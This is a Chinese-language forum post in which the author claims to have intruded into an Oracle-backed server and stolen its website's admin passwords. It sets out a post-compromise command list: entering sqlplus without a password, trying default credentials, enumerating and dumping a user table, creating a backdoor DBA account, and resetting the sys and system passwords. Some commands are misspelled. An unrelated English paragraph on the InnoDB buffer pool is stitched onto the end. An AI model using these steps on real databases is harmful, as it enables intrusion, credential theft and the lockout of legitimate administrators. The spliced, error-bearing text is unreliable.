最近遇到一个使用了Oracle数据库的服务器,在狂学Oracle+请教高手后终于搞到了网站后台管理界面的所有用户密码,我发现Oracle操作起来真是太麻烦,为了兄弟们以后少走些弯路,我把入侵当中必需的命令整理出来,一个星期的心血,版权所有,转载请注明作者.

1、su – oracle 不是必需,适合于没有DBA密码时使用,,可以不用密码来进入sqlplus界面。

2、sqlplus /nolog 或sqlplus system/manager 或./sqlplus system/manager@ora9i;

3、SQL>connect / as sysdba ;(as sysoper)或

connect internal/oracle AS SYSDBA ;(scott/tiger)

conn sys/change_on_install as sysdba;

4、SQL>startup; 启动数据库实例

5、 查看当前的所有数据库: select * from v$database;

select name from v$database;

desc v$databases; 查看数据库结构字段

7、怎样查看哪些用户拥有SYSDBA、SYSOPER权限:

SQL>select * from V_$PWFILE_USERS;

Show user;查看当前数据库连接用户

8、进入test数据库:database test;

9、查看所有的数据库实例:select * from v$instance;

如:ora9i

10、查看当前库的所有数据表:

SQL> select TABLE_NAME from all_tables;

select * from all_tables;

SQL> select table_name from all_tables where table_name like '%u%';

TABLE_NAME

------------------------------

_default_auditing_options_

11、查看表结构:desc all_tables;

12、显示CQI.T_BBS_XUSER的所有字段结构:

desc CQI.T_BBS_XUSER;

13、获得CQI.T_BBS_XUSER表中的记录:

select * from CQI.T_BBS_XUSER;

14、增加数据库用户:(test11/test)

create user test11 identified by test default tablespace users Temporary TABLESPACE Temp;

15、用户授权:

grant connect,resource,dba to test11;

grant sysdba to test11;

commit;

16、更改数据库用户的密码:(将sys与system的密码改为test.)

alter user sys indentified by test;

alter user system indentified by test;

linux

Explain the InnoDB Buffer Pool and its importance for performance.Explain the InnoDB Buffer Pool and its importance for performance.Apr 19, 2025 am 12:24 AM

InnoDBBufferPool reduces disk I/O by caching data and indexing pages, improving database performance. Its working principle includes: 1. Data reading: Read data from BufferPool; 2. Data writing: After modifying the data, write to BufferPool and refresh it to disk regularly; 3. Cache management: Use the LRU algorithm to manage cache pages; 4. Reading mechanism: Load adjacent data pages in advance. By sizing the BufferPool and using multiple instances, database performance can be optimized.
